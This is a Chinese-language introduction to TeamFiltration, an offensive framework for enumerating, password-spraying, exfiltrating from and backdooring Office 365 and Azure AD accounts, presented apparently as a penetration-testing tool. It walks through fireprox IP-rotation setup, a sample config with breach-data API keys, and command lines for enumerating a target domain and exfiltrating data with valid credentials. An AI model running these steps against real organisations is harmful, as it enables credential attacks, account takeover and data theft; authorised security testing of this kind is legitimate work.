TeamFiltration是一款针对O365 AAD账号安全的跨平台安全测试框架,在该工具的帮助下,广大研究人员可以轻松对O365 AAD账号进行枚举、喷射、过滤和后门植入等操作。TeamFiltering与CrackMapExec非常相似,它可以创建并维护一个磁盘数据库,其中包含的各种信息可以帮助研究人员跟踪过去和正在进行的操作。该数据库使用LiteDB构建,可以使用其开源LiteDB Studio Windows工具在磁盘上手动浏览。
这个数据库中保存的信息包括有效的用户帐户、以前尝试的用户名和密码组合、有效的用户名和口令组合以及检索到的访问令牌等信息。
工具运行机制
广大研究人员可以访问该项目的【Releases页面】直接下载Linux、Windows和macOS操作系统的预编译TeamFiltration版本。
下载完成并解压文件后,将会得到一个单独的可执行应用程序,直接运行即可。
先下载fireprox项目:
git clone https://github.com/ustayready/fireprox
cd fireprox
然后将create_frieprox_instances.sh文件添加到该文件夹中。
填写你的AWS访问密钥并运行脚本后,Bash脚本将针对我们的配置信息输出JSON FrieProx配置信息。下面给出的是一个示例TeamFiltration配置文件:
{
"pushoverAppKey": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"pushoverUserKey": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
"msolFireProxEndpointsUs": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/common/oauth2/token","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/common/oauth2/token"],
"msolFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/common/oauth2/token","https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/common/oauth2/token"],
"teamsEnumFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/"],
"aadSSoFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox"],
"sacrificialO365Username": "[email protected]",
"sacrificialO365Passwords": "TheChooenOne123!",
"dehashedApiKey": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"dehashedEmail" : "[email protected]",
"proxyEndpoint": "http://127.0.0.1:8080"
}

下列命令可以开始账号枚举,--domain为目标客户端域名:
TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net
(向右滑动,查看更多)
TeamFiltration将要求你选择枚举的电子邮箱语句:

如果你想要提供自己的电子邮件列表,可以使用--username参数,输出结果会自动存储在TeamFiltration.db文件中:

获取到有效凭证列表之后,我们就可以进行数据过滤了:
TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --exfil --aad
(向右滑动,查看更多)
进过数据过滤和提取之后,所有的用户信息都会添加到数据库文件中:
